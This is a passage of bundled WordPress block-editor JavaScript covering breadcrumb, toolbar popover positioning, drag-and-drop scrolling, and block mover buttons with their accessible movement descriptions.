48050 !!clientId && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48051 "li",
48052 {
48053 className: "block-editor-block-breadcrumb__current",
48054 "aria-current": "true",
48055 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockTitle, { clientId, maximumLength: 35 })
48056 }
48057 )
48058 ]
48059 }
48060 );
48061}
48062var block_breadcrumb_default = BlockBreadcrumb;
48063
48064
48065;// ./node_modules/@wordpress/block-editor/build-module/components/block-content-overlay/index.js
48066
48067
48068function useBlockOverlayActive(clientId) {
48069 return (0,external_wp_data_namespaceObject.useSelect)(
48070 (select) => {
48071 const { __unstableHasActiveBlockOverlayActive } = select(store);
48072 return __unstableHasActiveBlockOverlayActive(clientId);
48073 },
48074 [clientId]
48075 );
48076}
48077
48078
48079;// ./node_modules/@wordpress/block-editor/build-module/components/block-tools/use-block-toolbar-popover-props.js
48080
48081
48082
48083
48084
48085
48086
48087
48088const COMMON_PROPS = {
48089 placement: "top-start"
48090};
48091const DEFAULT_PROPS = {
48092 ...COMMON_PROPS,
48093 flip: false,
48094 shift: true
48095};
48096const RESTRICTED_HEIGHT_PROPS = {
48097 ...COMMON_PROPS,
48098 flip: true,
48099 shift: false
48100};
48101function getProps(contentElement, selectedBlockElement, scrollContainer, toolbarHeight, isSticky) {
48102 if (!contentElement || !selectedBlockElement) {
48103 return DEFAULT_PROPS;
48104 }
48105 const scrollTop = scrollContainer?.scrollTop || 0;
48106 const blockRect = getElementBounds(selectedBlockElement);
48107 const contentRect = contentElement.getBoundingClientRect();
48108 const topOfContentElementInViewport = scrollTop + contentRect.top;
48109 const viewportHeight = contentElement.ownerDocument.documentElement.clientHeight;
48110 const restrictedTopArea = topOfContentElementInViewport + toolbarHeight;
48111 const hasSpaceForToolbarAbove = blockRect.top > restrictedTopArea;
48112 const isBlockTallerThanViewport = blockRect.height > viewportHeight - toolbarHeight;
48113 if (!isSticky && (hasSpaceForToolbarAbove || isBlockTallerThanViewport)) {
48114 return DEFAULT_PROPS;
48115 }
48116 return RESTRICTED_HEIGHT_PROPS;
48117}
48118function useBlockToolbarPopoverProps({
48119 contentElement,
48120 clientId
48121}) {
48122 const selectedBlockElement = useBlockElement(clientId);
48123 const [toolbarHeight, setToolbarHeight] = (0,external_wp_element_namespaceObject.useState)(0);
48124 const { blockIndex, isSticky } = (0,external_wp_data_namespaceObject.useSelect)(
48125 (select) => {
48126 const { getBlockIndex, getBlockAttributes } = select(store);
48127 return {
48128 blockIndex: getBlockIndex(clientId),
48129 isSticky: hasStickyOrFixedPositionValue(
48130 getBlockAttributes(clientId)
48131 )
48132 };
48133 },
48134 [clientId]
48135 );
48136 const scrollContainer = (0,external_wp_element_namespaceObject.useMemo)(() => {
48137 if (!contentElement) {
48138 return;
48139 }
48140 return (0,external_wp_dom_namespaceObject.getScrollContainer)(contentElement);
48141 }, [contentElement]);
48142 const [props, setProps] = (0,external_wp_element_namespaceObject.useState)(
48143 () => getProps(
48144 contentElement,
48145 selectedBlockElement,
48146 scrollContainer,
48147 toolbarHeight,
48148 isSticky
48149 )
48150 );
48151 const popoverRef = (0,external_wp_compose_namespaceObject.useRefEffect)((popoverNode) => {
48152 setToolbarHeight(popoverNode.offsetHeight);
48153 }, []);
48154 const updateProps = (0,external_wp_element_namespaceObject.useCallback)(
48155 () => setProps(
48156 getProps(
48157 contentElement,
48158 selectedBlockElement,
48159 scrollContainer,
48160 toolbarHeight,
48161 isSticky
48162 )
48163 ),
48164 [contentElement, selectedBlockElement, scrollContainer, toolbarHeight]
48165 );
48166 (0,external_wp_element_namespaceObject.useLayoutEffect)(updateProps, [blockIndex, updateProps]);
48167 (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
48168 if (!contentElement || !selectedBlockElement) {
48169 return;
48170 }
48171 const contentView = contentElement?.ownerDocument?.defaultView;
48172 contentView?.addEventHandler?.("resize", updateProps);
48173 let resizeObserver;
48174 const blockView = selectedBlockElement?.ownerDocument?.defaultView;
48175 if (blockView.ResizeObserver) {
48176 resizeObserver = new blockView.ResizeObserver(updateProps);
48177 resizeObserver.observe(selectedBlockElement);
48178 }
48179 return () => {
48180 contentView?.removeEventHandler?.("resize", updateProps);
48181 if (resizeObserver) {
48182 resizeObserver.disconnect();
48183 }
48184 };
48185 }, [updateProps, contentElement, selectedBlockElement]);
48186 return {
48187 ...props,
48188 ref: popoverRef
48189 };
48190}
48191
48192
48193;// ./node_modules/@wordpress/block-editor/build-module/components/block-tools/use-selected-block-tool-props.js
48194
48195
48196function useSelectedBlockToolProps(clientId) {
48197 const selectedBlockProps = (0,external_wp_data_namespaceObject.useSelect)(
48198 (select) => {
48199 const {
48200 getBlockRootClientId,
48201 getBlockParents,
48202 __experimentalGetBlockListSettingsForBlocks,
48203 isBlockInsertionPointVisible,
48204 getBlockInsertionPoint,
48205 getBlockOrder,
48206 hasMultiSelection,
48207 getLastMultiSelectedBlockClientId
48208 } = select(store);
48209 const blockParentsClientIds = getBlockParents(clientId);
48210 const parentBlockListSettings = __experimentalGetBlockListSettingsForBlocks(
48211 blockParentsClientIds
48212 );
48213 const capturingClientId = blockParentsClientIds.find(
48214 (parentClientId) => parentBlockListSettings[parentClientId]?.__experimentalCaptureToolbars
48215 );
48216 let isInsertionPointVisible = false;
48217 if (isBlockInsertionPointVisible()) {
48218 const insertionPoint = getBlockInsertionPoint();
48219 const order = getBlockOrder(insertionPoint.rootClientId);
48220 isInsertionPointVisible = order[insertionPoint.index] === clientId;
48221 }
48222 return {
48223 capturingClientId,
48224 isInsertionPointVisible,
48225 lastClientId: hasMultiSelection() ? getLastMultiSelectedBlockClientId() : null,
48226 rootClientId: getBlockRootClientId(clientId)
48227 };
48228 },
48229 [clientId]
48230 );
48231 return selectedBlockProps;
48232}
48233
48234
48235;// ./node_modules/@wordpress/block-editor/build-module/components/block-tools/empty-block-inserter.js
48236
48237
48238
48239
48240
48241
48242function EmptyBlockInserter({
48243 clientId,
48244 __unstableContentRef
48245}) {
48246 const {
48247 capturingClientId,
48248 isInsertionPointVisible,
48249 lastClientId,
48250 rootClientId
48251 } = useSelectedBlockToolProps(clientId);
48252 const popoverProps = useBlockToolbarPopoverProps({
48253 contentElement: __unstableContentRef?.current,
48254 clientId
48255 });
48256 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48257 cover_default,
48258 {
48259 clientId: capturingClientId || clientId,
48260 bottomClientId: lastClientId,
48261 className: dist_clsx(
48262 "block-editor-block-list__block-side-inserter-popover",
48263 {
48264 "is-insertion-point-visible": isInsertionPointVisible
48265 }
48266 ),
48267 __unstableContentRef,
48268 ...popoverProps,
48269 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-block-list__empty-block-inserter", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48270 inserter_default,
48271 {
48272 position: "bottom right",
48273 rootClientId,
48274 clientId,
48275 __experimentalIsQuick: true
48276 }
48277 ) })
48278 }
48279 );
48280}
48281
48282
48283;// ./node_modules/@wordpress/block-editor/build-module/components/block-draggable/use-scroll-when-dragging.js
48284
48285
48286const SCROLL_INACTIVE_DISTANCE_PX = 50;
48287const SCROLL_INTERVAL_MS = 25;
48288const PIXELS_PER_SECOND_PER_PERCENTAGE = 1e3;
48289const VELOCITY_MULTIPLIER = PIXELS_PER_SECOND_PER_PERCENTAGE * (SCROLL_INTERVAL_MS / 1e3);
48290function useScrollWhenDragging() {
48291 const dragStartYRef = (0,external_wp_element_namespaceObject.useRef)(null);
48292 const velocityYRef = (0,external_wp_element_namespaceObject.useRef)(null);
48293 const scrollParentYRef = (0,external_wp_element_namespaceObject.useRef)(null);
48294 const scrollEditorIntervalRef = (0,external_wp_element_namespaceObject.useRef)(null);
48295 (0,external_wp_element_namespaceObject.useEffect)(
48296 () => () => {
48297 if (scrollEditorIntervalRef.current) {
48298 clearInterval(scrollEditorIntervalRef.current);
48299 scrollEditorIntervalRef.current = null;
48300 }
48301 },
48302 []
48303 );
48304 const startScrolling = (0,external_wp_element_namespaceObject.useCallback)((event) => {
48305 dragStartYRef.current = event.clientY;
48306 scrollParentYRef.current = (0,external_wp_dom_namespaceObject.getScrollContainer)(event.target);
48307 scrollEditorIntervalRef.current = setInterval(() => {
48308 if (scrollParentYRef.current && velocityYRef.current) {
48309 const newTop = scrollParentYRef.current.scrollTop + velocityYRef.current;
48310 scrollParentYRef.current.scroll({
48311 top: newTop
48312 });
48313 }
48314 }, SCROLL_INTERVAL_MS);
48315 }, []);
48316 const scrollOnDragOver = (0,external_wp_element_namespaceObject.useCallback)((event) => {
48317 if (!scrollParentYRef.current) {
48318 return;
48319 }
48320 const scrollParentHeight = scrollParentYRef.current.offsetHeight;
48321 const offsetDragStartPosition = dragStartYRef.current - scrollParentYRef.current.offsetTop;
48322 const offsetDragPosition = event.clientY - scrollParentYRef.current.offsetTop;
48323 if (event.clientY > offsetDragStartPosition) {
48324 const moveableDistance = Math.max(
48325 scrollParentHeight - offsetDragStartPosition - SCROLL_INACTIVE_DISTANCE_PX,
48326 0
48327 );
48328 const dragDistance = Math.max(
48329 offsetDragPosition - offsetDragStartPosition - SCROLL_INACTIVE_DISTANCE_PX,
48330 0
48331 );
48332 const distancePercentage = moveableDistance === 0 || dragDistance === 0 ? 0 : dragDistance / moveableDistance;
48333 velocityYRef.current = VELOCITY_MULTIPLIER * distancePercentage;
48334 } else if (event.clientY < offsetDragStartPosition) {
48335 const moveableDistance = Math.max(
48336 offsetDragStartPosition - SCROLL_INACTIVE_DISTANCE_PX,
48337 0
48338 );
48339 const dragDistance = Math.max(
48340 offsetDragStartPosition - offsetDragPosition - SCROLL_INACTIVE_DISTANCE_PX,
48341 0
48342 );
48343 const distancePercentage = moveableDistance === 0 || dragDistance === 0 ? 0 : dragDistance / moveableDistance;
48344 velocityYRef.current = -VELOCITY_MULTIPLIER * distancePercentage;
48345 } else {
48346 velocityYRef.current = 0;
48347 }
48348 }, []);
48349 const stopScrolling = () => {
48350 dragStartYRef.current = null;
48351 scrollParentYRef.current = null;
48352 if (scrollEditorIntervalRef.current) {
48353 clearInterval(scrollEditorIntervalRef.current);
48354 scrollEditorIntervalRef.current = null;
48355 }
48356 };
48357 return [startScrolling, scrollOnDragOver, stopScrolling];
48358}
48359
48360
48361;// ./node_modules/@wordpress/block-editor/build-module/components/block-draggable/index.js
48362
48363
48364
48365
48366
48367
48368
48369
48370
48371
48372
48373const BlockDraggable = ({
48374 appendToOwnerDocument,
48375 children,
48376 clientIds,
48377 cloneClassname,
48378 elementId,
48379 onDragStart,
48380 onDragEnd,
48381 fadeWhenDisabled = false,
48382 dragComponent
48383}) => {
48384 const {
48385 srcRootClientId,
48386 isDraggable,
48387 icon,
48388 visibleInserter,
48389 getBlockType
48390 } = (0,external_wp_data_namespaceObject.useSelect)(
48391 (select) => {
48392 const {
48393 canMoveBlocks,
48394 getBlockRootClientId: getBlockRootClientId2,
48395 getBlockName,
48396 getBlockAttributes,
48397 isBlockInsertionPointVisible
48398 } = select(store);
48399 const { getBlockType: _getBlockType, getActiveBlockVariation } = select(external_wp_blocks_namespaceObject.store);
48400 const rootClientId = getBlockRootClientId2(clientIds[0]);
48401 const blockName = getBlockName(clientIds[0]);
48402 const variation = getActiveBlockVariation(
48403 blockName,
48404 getBlockAttributes(clientIds[0])
48405 );
48406 return {
48407 srcRootClientId: rootClientId,
48408 isDraggable: canMoveBlocks(clientIds),
48409 icon: variation?.icon || _getBlockType(blockName)?.icon,
48410 visibleInserter: isBlockInsertionPointVisible(),
48411 getBlockType: _getBlockType
48412 };
48413 },
48414 [clientIds]
48415 );
48416 const isDraggingRef = (0,external_wp_element_namespaceObject.useRef)(false);
48417 const [startScrolling, scrollOnDragOver, stopScrolling] = useScrollWhenDragging();
48418 const { getAllowedBlocks, getBlockNamesByClientId, getBlockRootClientId } = (0,external_wp_data_namespaceObject.useSelect)(store);
48419 const { startDraggingBlocks, stopDraggingBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(store);
48420 (0,external_wp_element_namespaceObject.useEffect)(() => {
48421 return () => {
48422 if (isDraggingRef.current) {
48423 stopDraggingBlocks();
48424 }
48425 };
48426 }, []);
48427 const blockEl = useBlockElement(clientIds[0]);
48428 const editorRoot = blockEl?.closest("body");
48429 (0,external_wp_element_namespaceObject.useEffect)(() => {
48430 if (!editorRoot || !fadeWhenDisabled) {
48431 return;
48432 }
48433 const onDragOver = (event) => {
48434 if (!event.target.closest("[data-block]")) {
48435 return;
48436 }
48437 const draggedBlockNames = getBlockNamesByClientId(clientIds);
48438 const targetClientId = event.target.closest("[data-block]").getAttribute("data-block");
48439 const allowedBlocks = getAllowedBlocks(targetClientId);
48440 const targetBlockName = getBlockNamesByClientId([
48441 targetClientId
48442 ])[0];
48443 let dropTargetValid;
48444 if (allowedBlocks?.length === 0) {
48445 const targetRootClientId = getBlockRootClientId(targetClientId);
48446 const targetRootBlockName = getBlockNamesByClientId([
48447 targetRootClientId
48448 ])[0];
48449 const rootAllowedBlocks = getAllowedBlocks(targetRootClientId);
48450 dropTargetValid = isDropTargetValid(
48451 getBlockType,
48452 rootAllowedBlocks,
48453 draggedBlockNames,
48454 targetRootBlockName
48455 );
48456 } else {
48457 dropTargetValid = isDropTargetValid(
48458 getBlockType,
48459 allowedBlocks,
48460 draggedBlockNames,
48461 targetBlockName
48462 );
48463 }
48464 if (!dropTargetValid && !visibleInserter) {
48465 window?.document?.body?.classList?.add(
48466 "block-draggable-invalid-drag-token"
48467 );
48468 } else {
48469 window?.document?.body?.classList?.remove(
48470 "block-draggable-invalid-drag-token"
48471 );
48472 }
48473 };
48474 const throttledOnDragOver = (0,external_wp_compose_namespaceObject.throttle)(onDragOver, 200);
48475 editorRoot.addEventListener("dragover", throttledOnDragOver);
48476 return () => {
48477 editorRoot.removeEventListener("dragover", throttledOnDragOver);
48478 };
48479 }, [
48480 clientIds,
48481 editorRoot,
48482 fadeWhenDisabled,
48483 getAllowedBlocks,
48484 getBlockNamesByClientId,
48485 getBlockRootClientId,
48486 getBlockType,
48487 visibleInserter
48488 ]);
48489 if (!isDraggable) {
48490 return children({ draggable: false });
48491 }
48492 const transferData = {
48493 type: "block",
48494 srcClientIds: clientIds,
48495 srcRootClientId
48496 };
48497 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48498 external_wp_components_namespaceObject.Draggable,
48499 {
48500 appendToOwnerDocument,
48501 cloneClassname,
48502 __experimentalTransferDataType: "wp-blocks",
48503 transferData,
48504 onDragStart: (event) => {
48505 window.requestAnimationFrame(() => {
48506 startDraggingBlocks(clientIds);
48507 isDraggingRef.current = true;
48508 startScrolling(event);
48509 if (onDragStart) {
48510 onDragStart();
48511 }
48512 });
48513 },
48514 onDragOver: scrollOnDragOver,
48515 onDragEnd: () => {
48516 stopDraggingBlocks();
48517 isDraggingRef.current = false;
48518 stopScrolling();
48519 if (onDragEnd) {
48520 onDragEnd();
48521 }
48522 },
48523 __experimentalDragComponent: (
48524 // Check against `undefined` so that `null` can be used to disable
48525 // the default drag component.
48526 dragComponent !== void 0 ? dragComponent : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48527 BlockDraggableChip,
48528 {
48529 count: clientIds.length,
48530 icon,
48531 fadeWhenDisabled: true
48532 }
48533 )
48534 ),
48535 elementId,
48536 children: ({ onDraggableStart, onDraggableEnd }) => {
48537 return children({
48538 draggable: true,
48539 onDragStart: onDraggableStart,
48540 onDragEnd: onDraggableEnd
48541 });
48542 }
48543 }
48544 );
48545};
48546var block_draggable_default = BlockDraggable;
48547
48548
48549;// ./node_modules/@wordpress/block-editor/build-module/components/block-mover/mover-description.js
48550
48551const getMovementDirection = (moveDirection, orientation) => {
48552 if (moveDirection === "up") {
48553 if (orientation === "horizontal") {
48554 return (0,external_wp_i18n_namespaceObject.isRTL)() ? "right" : "left";
48555 }
48556 return "up";
48557 } else if (moveDirection === "down") {
48558 if (orientation === "horizontal") {
48559 return (0,external_wp_i18n_namespaceObject.isRTL)() ? "left" : "right";
48560 }
48561 return "down";
48562 }
48563 return null;
48564};
48565function getBlockMoverDescription(selectedCount, type, firstIndex, isFirst, isLast, dir, orientation) {
48566 const position = firstIndex + 1;
48567 if (selectedCount > 1) {
48568 return getMultiBlockMoverDescription(
48569 selectedCount,
48570 firstIndex,
48571 isFirst,
48572 isLast,
48573 dir,
48574 orientation
48575 );
48576 }
48577 if (isFirst && isLast) {
48578 return (0,external_wp_i18n_namespaceObject.sprintf)(
48579 // translators: %s: Type of block (i.e. Text, Image etc)
48580 (0,external_wp_i18n_namespaceObject.__)("Block %s is the only block, and cannot be moved"),
48581 type
48582 );
48583 }
48584 if (dir > 0 && !isLast) {
48585 const movementDirection = getMovementDirection("down", orientation);
48586 if (movementDirection === "down") {
48587 return (0,external_wp_i18n_namespaceObject.sprintf)(
48588 // translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position
48589 (0,external_wp_i18n_namespaceObject.__)(
48590 "Move %1$s block from position %2$d down to position %3$d"
48591 ),
48592 type,
48593 position,
48594 position + 1
48595 );
48596 }
48597 if (movementDirection === "left") {
48598 return (0,external_wp_i18n_namespaceObject.sprintf)(
48599 // translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position
48600 (0,external_wp_i18n_namespaceObject.__)(
48601 "Move %1$s block from position %2$d left to position %3$d"
48602 ),
48603 type,
48604 position,
48605 position + 1
48606 );
48607 }
48608 if (movementDirection === "right") {
48609 return (0,external_wp_i18n_namespaceObject.sprintf)(
48610 // translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position
48611 (0,external_wp_i18n_namespaceObject.__)(
48612 "Move %1$s block from position %2$d right to position %3$d"
48613 ),
48614 type,
48615 position,
48616 position + 1
48617 );
48618 }
48619 }
48620 if (dir > 0 && isLast) {
48621 const movementDirection = getMovementDirection("down", orientation);
48622 if (movementDirection === "down") {
48623 return (0,external_wp_i18n_namespaceObject.sprintf)(
48624 // translators: 1: Type of block (i.e. Text, Image etc)
48625 (0,external_wp_i18n_namespaceObject.__)(
48626 "Block %1$s is at the end of the content and can\u2019t be moved down"
48627 ),
48628 type
48629 );
48630 }
48631 if (movementDirection === "left") {
48632 return (0,external_wp_i18n_namespaceObject.sprintf)(
48633 // translators: 1: Type of block (i.e. Text, Image etc)
48634 (0,external_wp_i18n_namespaceObject.__)(
48635 "Block %1$s is at the end of the content and can\u2019t be moved left"
48636 ),
48637 type
48638 );
48639 }
48640 if (movementDirection === "right") {
48641 return (0,external_wp_i18n_namespaceObject.sprintf)(
48642 // translators: 1: Type of block (i.e. Text, Image etc)
48643 (0,external_wp_i18n_namespaceObject.__)(
48644 "Block %1$s is at the end of the content and can\u2019t be moved right"
48645 ),
48646 type
48647 );
48648 }
48649 }
48650 if (dir < 0 && !isFirst) {
48651 const movementDirection = getMovementDirection("up", orientation);
48652 if (movementDirection === "up") {
48653 return (0,external_wp_i18n_namespaceObject.sprintf)(
48654 // translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position
48655 (0,external_wp_i18n_namespaceObject.__)("Move %1$s block from position %2$d up to position %3$d"),
48656 type,
48657 position,
48658 position - 1
48659 );
48660 }
48661 if (movementDirection === "left") {
48662 return (0,external_wp_i18n_namespaceObject.sprintf)(
48663 // translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position
48664 (0,external_wp_i18n_namespaceObject.__)(
48665 "Move %1$s block from position %2$d left to position %3$d"
48666 ),
48667 type,
48668 position,
48669 position - 1
48670 );
48671 }
48672 if (movementDirection === "right") {
48673 return (0,external_wp_i18n_namespaceObject.sprintf)(
48674 // translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position
48675 (0,external_wp_i18n_namespaceObject.__)(
48676 "Move %1$s block from position %2$d right to position %3$d"
48677 ),
48678 type,
48679 position,
48680 position - 1
48681 );
48682 }
48683 }
48684 if (dir < 0 && isFirst) {
48685 const movementDirection = getMovementDirection("up", orientation);
48686 if (movementDirection === "up") {
48687 return (0,external_wp_i18n_namespaceObject.sprintf)(
48688 // translators: 1: Type of block (i.e. Text, Image etc)
48689 (0,external_wp_i18n_namespaceObject.__)(
48690 "Block %1$s is at the beginning of the content and can\u2019t be moved up"
48691 ),
48692 type
48693 );
48694 }
48695 if (movementDirection === "left") {
48696 return (0,external_wp_i18n_namespaceObject.sprintf)(
48697 // translators: 1: Type of block (i.e. Text, Image etc)
48698 (0,external_wp_i18n_namespaceObject.__)(
48699 "Block %1$s is at the beginning of the content and can\u2019t be moved left"
48700 ),
48701 type
48702 );
48703 }
48704 if (movementDirection === "right") {
48705 return (0,external_wp_i18n_namespaceObject.sprintf)(
48706 // translators: 1: Type of block (i.e. Text, Image etc)
48707 (0,external_wp_i18n_namespaceObject.__)(
48708 "Block %1$s is at the beginning of the content and can\u2019t be moved right"
48709 ),
48710 type
48711 );
48712 }
48713 }
48714}
48715function getMultiBlockMoverDescription(selectedCount, firstIndex, isFirst, isLast, dir, orientation) {
48716 const position = firstIndex + 1;
48717 if (isFirst && isLast) {
48718 return (0,external_wp_i18n_namespaceObject.__)("All blocks are selected, and cannot be moved");
48719 }
48720 if (dir > 0 && !isLast) {
48721 const movementDirection = getMovementDirection("down", orientation);
48722 if (movementDirection === "down") {
48723 return (0,external_wp_i18n_namespaceObject.sprintf)(
48724 // translators: 1: Number of selected blocks, 2: Position of selected blocks
48725 (0,external_wp_i18n_namespaceObject.__)("Move %1$d blocks from position %2$d down by one place"),
48726 selectedCount,
48727 position
48728 );
48729 }
48730 if (movementDirection === "left") {
48731 return (0,external_wp_i18n_namespaceObject.sprintf)(
48732 // translators: 1: Number of selected blocks, 2: Position of selected blocks
48733 (0,external_wp_i18n_namespaceObject.__)("Move %1$d blocks from position %2$d left by one place"),
48734 selectedCount,
48735 position
48736 );
48737 }
48738 if (movementDirection === "right") {
48739 return (0,external_wp_i18n_namespaceObject.sprintf)(
48740 // translators: 1: Number of selected blocks, 2: Position of selected blocks
48741 (0,external_wp_i18n_namespaceObject.__)("Move %1$d blocks from position %2$d right by one place"),
48742 selectedCount,
48743 position
48744 );
48745 }
48746 }
48747 if (dir > 0 && isLast) {
48748 const movementDirection = getMovementDirection("down", orientation);
48749 if (movementDirection === "down") {
48750 return (0,external_wp_i18n_namespaceObject.__)(
48751 "Blocks cannot be moved down as they are already at the bottom"
48752 );
48753 }
48754 if (movementDirection === "left") {
48755 return (0,external_wp_i18n_namespaceObject.__)(
48756 "Blocks cannot be moved left as they are already are at the leftmost position"
48757 );
48758 }
48759 if (movementDirection === "right") {
48760 return (0,external_wp_i18n_namespaceObject.__)(
48761 "Blocks cannot be moved right as they are already are at the rightmost position"
48762 );
48763 }
48764 }
48765 if (dir < 0 && !isFirst) {
48766 const movementDirection = getMovementDirection("up", orientation);
48767 if (movementDirection === "up") {
48768 return (0,external_wp_i18n_namespaceObject.sprintf)(
48769 // translators: 1: Number of selected blocks, 2: Position of selected blocks
48770 (0,external_wp_i18n_namespaceObject.__)("Move %1$d blocks from position %2$d up by one place"),
48771 selectedCount,
48772 position
48773 );
48774 }
48775 if (movementDirection === "left") {
48776 return (0,external_wp_i18n_namespaceObject.sprintf)(
48777 // translators: 1: Number of selected blocks, 2: Position of selected blocks
48778 (0,external_wp_i18n_namespaceObject.__)("Move %1$d blocks from position %2$d left by one place"),
48779 selectedCount,
48780 position
48781 );
48782 }
48783 if (movementDirection === "right") {
48784 return (0,external_wp_i18n_namespaceObject.sprintf)(
48785 // translators: 1: Number of selected blocks, 2: Position of selected blocks
48786 (0,external_wp_i18n_namespaceObject.__)("Move %1$d blocks from position %2$d right by one place"),
48787 selectedCount,
48788 position
48789 );
48790 }
48791 }
48792 if (dir < 0 && isFirst) {
48793 const movementDirection = getMovementDirection("up", orientation);
48794 if (movementDirection === "up") {
48795 return (0,external_wp_i18n_namespaceObject.__)(
48796 "Blocks cannot be moved up as they are already at the top"
48797 );
48798 }
48799 if (movementDirection === "left") {
48800 return (0,external_wp_i18n_namespaceObject.__)(
48801 "Blocks cannot be moved left as they are already are at the leftmost position"
48802 );
48803 }
48804 if (movementDirection === "right") {
48805 return (0,external_wp_i18n_namespaceObject.__)(
48806 "Blocks cannot be moved right as they are already are at the rightmost position"
48807 );
48808 }
48809 }
48810}
48811
48812
48813;// ./node_modules/@wordpress/block-editor/build-module/components/block-mover/button.js
48814
48815
48816
48817
48818
48819
48820
48821
48822
48823
48824
48825const getArrowIcon = (direction, orientation) => {
48826 if (direction === "up") {
48827 if (orientation === "horizontal") {
48828 return (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_right_default : chevron_left_default;
48829 }
48830 return chevron_up_default;
48831 } else if (direction === "down") {
48832 if (orientation === "horizontal") {
48833 return (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left_default : chevron_right_default;
48834 }
48835 return chevron_down_default;
48836 }
48837 return null;
48838};
48839const getMovementDirectionLabel = (moveDirection, orientation) => {
48840 if (moveDirection === "up") {
48841 if (orientation === "horizontal") {
48842 return (0,external_wp_i18n_namespaceObject.isRTL)() ? (0,external_wp_i18n_namespaceObject.__)("Move right") : (0,external_wp_i18n_namespaceObject.__)("Move left");
48843 }
48844 return (0,external_wp_i18n_namespaceObject.__)("Move up");
48845 } else if (moveDirection === "down") {
48846 if (orientation === "horizontal") {
48847 return (0,external_wp_i18n_namespaceObject.isRTL)() ? (0,external_wp_i18n_namespaceObject.__)("Move left") : (0,external_wp_i18n_namespaceObject.__)("Move right");
48848 }
48849 return (0,external_wp_i18n_namespaceObject.__)("Move down");
48850 }
48851 return null;
48852};
48853const BlockMoverButton = (0,external_wp_element_namespaceObject.forwardRef)(
48854 ({ clientIds, direction, orientation: moverOrientation, ...props }, ref) => {
48855 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(BlockMoverButton);
48856 const normalizedClientIds = Array.isArray(clientIds) ? clientIds : [clientIds];
48857 const blocksCount = normalizedClientIds.length;
48858 const { disabled } = props;
48859 const {
48860 blockType,
48861 isDisabled,
48862 rootClientId,
48863 isFirst,
48864 isLast,
48865 firstIndex,
48866 orientation = "vertical"
48867 } = (0,external_wp_data_namespaceObject.useSelect)(
48868 (select) => {
48869 const {
48870 getBlockIndex,
48871 getBlockRootClientId,
48872 getBlockOrder,
48873 getBlock,
48874 getBlockListSettings
48875 } = select(store);
48876 const firstClientId = normalizedClientIds[0];
48877 const blockRootClientId = getBlockRootClientId(firstClientId);
48878 const firstBlockIndex = getBlockIndex(firstClientId);
48879 const lastBlockIndex = getBlockIndex(
48880 normalizedClientIds[normalizedClientIds.length - 1]
48881 );
48882 const blockOrder = getBlockOrder(blockRootClientId);
48883 const block = getBlock(firstClientId);
48884 const isFirstBlock = firstBlockIndex === 0;
48885 const isLastBlock = lastBlockIndex === blockOrder.length - 1;
48886 const { orientation: blockListOrientation } = getBlockListSettings(blockRootClientId) || {};
48887 return {
48888 blockType: block ? (0,external_wp_blocks_namespaceObject.getBlockType)(block.name) : null,
48889 isDisabled: disabled || (direction === "up" ? isFirstBlock : isLastBlock),
48890 rootClientId: blockRootClientId,
48891 firstIndex: firstBlockIndex,
48892 isFirst: isFirstBlock,
48893 isLast: isLastBlock,
48894 orientation: moverOrientation || blockListOrientation
48895 };
48896 },
48897 [clientIds, direction]
48898 );
48899 const { moveBlocksDown, moveBlocksUp } = (0,external_wp_data_namespaceObject.useDispatch)(store);
48900 const moverFunction = direction === "up" ? moveBlocksUp : moveBlocksDown;
48901 const onClick = (event) => {
48902 moverFunction(clientIds, rootClientId);
48903 if (props.onClick) {
48904 props.onClick(event);
48905 }
48906 };
48907 const descriptionId = `block-editor-block-mover-button__description-${instanceId}`;
48908 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
48909 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48910 external_wp_components_namespaceObject.Button,
48911 {
48912 __next40pxDefaultSize: true,
48913 ref,
48914 className: dist_clsx(
48915 "block-editor-block-mover-button",
48916 `is-${direction}-button`
48917 ),
48918 icon: getArrowIcon(direction, orientation),
48919 label: getMovementDirectionLabel(
48920 direction,
48921 orientation
48922 ),
48923 "aria-describedby": descriptionId,
48924 ...props,
48925 onClick: isDisabled ? null : onClick,
48926 disabled: isDisabled,
48927 accessibleWhenDisabled: true
48928 }
48929 ),
48930 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { id: descriptionId, children: getBlockMoverDescription(
48931 blocksCount,
48932 blockType && blockType.title,
48933 firstIndex,
48934 isFirst,
48935 isLast,
48936 direction === "up" ? -1 : 1,
48937 orientation
48938 ) })
48939 ] });
48940 }
48941);
48942const BlockMoverUpButton = (0,external_wp_element_namespaceObject.forwardRef)((props, ref) => {
48943 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockMoverButton, { direction: "up", ref, ...props });
48944});
48945const BlockMoverDownButton = (0,external_wp_element_namespaceObject.forwardRef)((props, ref) => {
48946 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockMoverButton, { direction: "down", ref, ...props });
48947});
48948
48949
48950;// ./node_modules/@wordpress/block-editor/build-module/components/block-mover/index.js
48951
48952
48953
48954
48955
48956
48957
48958
48959
48960function BlockMover({
48961 clientIds,
48962 hideDragHandle,
48963 isBlockMoverUpButtonDisabled,
48964 isBlockMoverDownButtonDisabled
48965}) {
